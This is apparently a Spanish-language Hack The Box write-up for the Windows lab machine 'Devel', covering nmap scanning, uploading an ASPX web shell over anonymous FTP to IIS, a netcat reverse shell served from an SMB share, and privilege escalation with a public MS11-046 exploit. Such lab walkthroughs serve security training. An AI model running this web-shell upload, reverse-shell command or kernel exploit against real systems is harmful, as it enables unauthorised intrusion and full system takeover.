> For the complete documentation index, see [llms.txt](https://d4redevil.gitbook.io/d4redevil/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d4redevil.gitbook.io/d4redevil/writeups/hack-the-box/windows/easy/devel.md).

# Devel

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F1uzT9iZicVGOVxPsQNaf%2Fdevel.png?alt=media&amp;token=f95e3e4c-3945-4aee-8a91-4173cda5daf8" alt=""><figcaption></figcaption></figure>

En este post, abordaremos la resolución de la máquina Devel de la plataforma Hack The Box. Primero, aprovecharemos el servicio FTP para conectarnos como el usuario `anonymous` y subir una web shell al servidor IIS. Luego, ejecutaremos una reverse shell con Netcat para obtener acceso al sistema. Finalmente, para escalar nuestros privilegios, utilizaremos la herramienta Windows Exploit Suggester, con la cual identificaremos una vía potencial para escalar nuestros privilegios.

## Reconocimiento

Iniciamos como siempre, lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FWrZ5Eb5jQHmTlpIXbSdJ%2Fdevel00.png?alt=media&amp;token=af6c78cd-c23c-49ba-9cac-bade232169fa" alt=""><figcaption><p>Reconocimiento usando el comando ping</p></figcaption></figure>

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Windows basandonos en el TTL (Time To Live) 127.

### Descubrimiento de puertos abiertos

Realizamos un escaneo con `nmap` para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

```bash
nmap -sS -p- --open --min-rate 5000 10.10.10.5 -n -Pn -oG scanPorts -vvv
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FrmZdDuiojAzbr8o05XQz%2Fdevel01.png?alt=media&amp;token=eec2760d-b6e7-496d-a630-4d756e73755a" alt=""><figcaption><p>Descubrimiento de puertos abiertos</p></figcaption></figure>

### Enumeración de versión y servicio <a href="#enumeracion-de-version-y-servicio" id="enumeracion-de-version-y-servicio"></a>

Lanzamos una serie de script básicos de enumeración propios de `nmap`, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos.

```bash
nmap -sCV -p21,80 10.10.10.5 -oN targeted -vvv
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FtWOMdcgI8yazXw9YyoIM%2Fdevel02.png?alt=media&amp;token=f8f6ea0e-78ee-44ab-a554-98cc92c911a9" alt=""><figcaption><p>Descubrimiento de versión y servicio con nmap</p></figcaption></figure>

## Explotación

### Usuario `iis apppool\web`

Como observamos en el escaneo realizado por la herramienta `nmap`, podemos conectarnos al servicio FTP como el usuarioi `anonymous`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FYNPpontosefxkk00BBPY%2Fdevel05.png?alt=media&amp;token=9dbf2815-1f05-4743-967d-2594cdb3b70d" alt=""><figcaption><p>servicio ftp - usuario <em>anonymous</em></p></figcaption></figure>

Si ingresamos a la web que esta corriendo bajo el puerto 80, nos encontramos con una instancia de IIS 7. Al parecer, estos documentos que vemos al conectarnos por FTP,  pertencen a la instancia actual del servidor web IIS.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F3FqbL5WBFzCHp7HWEYTU%2Fdevel03.png?alt=media&amp;token=7cebbddb-d1f8-4946-b7ab-02090b97a5cc" alt=""><figcaption><p>IIS 7</p></figcaption></figure>

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FCxdIdZKJ4w4AfEC4f7OZ%2Fdevel04.png?alt=media&amp;token=137425b6-c6bb-4f92-a3ef-3539d1450718" alt=""><figcaption><p>iisstart.html</p></figcaption></figure>

Subimos una web shell hecha en ASP, ya que el servicio IIS soporta de forma nativa este lenguaje de programación.

La web shell que utilizaré es la [cmdasp.aspx](https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmdasp.aspx).

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FFhsgNCHaqc9fV23zd6NV%2Fdevel06.png?alt=media&amp;token=5c9c200b-f566-470f-b0e0-a752e6d2bff9" alt=""><figcaption><p>Carga de web shell al servidor</p></figcaption></figure>

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FCsUOnzIi3O5uDrjvtx5w%2Fdevel07.png?alt=media&amp;token=6d2132b0-5265-491f-ad69-1ef3bf874dab" alt=""><figcaption><p>PoC</p></figcaption></figure>

Genial, tenemos capacidad de ejecución de comandos.

Para ganar acceso al sistema, nos enviaremos una reverse shell utilizando netcat. Para lo cual debemos contar con el binario de [nc.exe](https://github.com/int0x33/nc.exe/blob/master/nc.exe).

Creamos un recurso compartido utilizando `impacket-smbserver`:

```bash
impacket-smbserver -smb2support sharedFolder .
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FSD68zgSFCxA0yrtbB6aF%2Fdevel08.png?alt=media&amp;token=8fd26f88-1990-49c5-be1e-bd2db61733c9" alt=""><figcaption><p>SMB Server</p></figcaption></figure>

Luego, nos ponemos en escucha con nc por el puerto 443.

```bash
rlwrap nc -lnvp 443
```

Por ultimo, ejecutamos el siguiente comando en nuestra web shell:

```powershell
\\10.10.14.2\sharedFolder\nc.exe -e cmd 10.10.14.2 443
```

De esta forma, ganamos acceso al sistema como el usuario `iis apppool\web`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FXe6dx2yoy8ol37A5Ahn9%2Fdevel09.png?alt=media&amp;token=663b6136-6ee9-4930-a253-233416f301ae" alt=""><figcaption><p>Ganamos acceso al sistema como el usuario iis apppool\web.</p></figcaption></figure>

## Escalación de privilegios

Para escalar nuestros privilegios, utilizamos [Windows Exploit Suggester](https://github.com/bitsadmin/wesng).

En primer lugar, debemos guardar el resultado de la ejecución del comando `systeminfo` en un archivo, por ejemplo: `systeminfo.txt`.

Luego, debemos ejecutar el siguiente comando:

```bash
python3 wes.py -e systeminfo.txt -i 'Elevation of Privilege'
```

El resultado de este script, nos revelara posibles formas de elevar nuestros privilegios, filtrando por aquellos que cuenten con un exploit público.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FuxaHLYbv7xXG7BOMIJ4t%2Fdevel10.png?alt=media&amp;token=74f76d27-c047-46ee-99eb-d99503cc3732" alt=""><figcaption><p>Windows Exploit Suggester</p></figcaption></figure>

En este caso, vamos a explotar la vulnerabilidad **Microsoft Windows (x86)–'afd.sys'(MS11-046)**. Para lo cual, utilizaremos [este](https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS11-046/ms11-046.exe) exploit:

Nuevamente, vamos a hacer uso del recurso compartido por smb.

```bash
impacket-smbserver -smb2support sharedFolder .
```

Descargamos el binario en la máquina víctima y lo ejecutamos:

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FOz0AHdurPg9ABXqjgs2n%2Fdevel11.png?alt=media&amp;token=312cd8a4-019b-41e1-92e4-fa9c074461e6" alt=""><figcaption><p>Escalación de privilegios</p></figcaption></figure>

De esta forma, logramos escalar nuestros privilegios.

Por ultimo, leemos los flags de `user.txt` y `root.txt`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F0y3xtpoonVJ61NbozFAA%2Fdevel12.png?alt=media&amp;token=07d6fbce-1e3a-474a-a8bd-5e1c73cc4bd6" alt=""><figcaption><p>Flags</p></figcaption></figure>

De esta manera, concluimos la resolución de la máquina Devel.

Espero que los conceptos hayan quedado claros y hayas disfrutado del contenido.

¡Gracias por leer!

Happy Hacking!
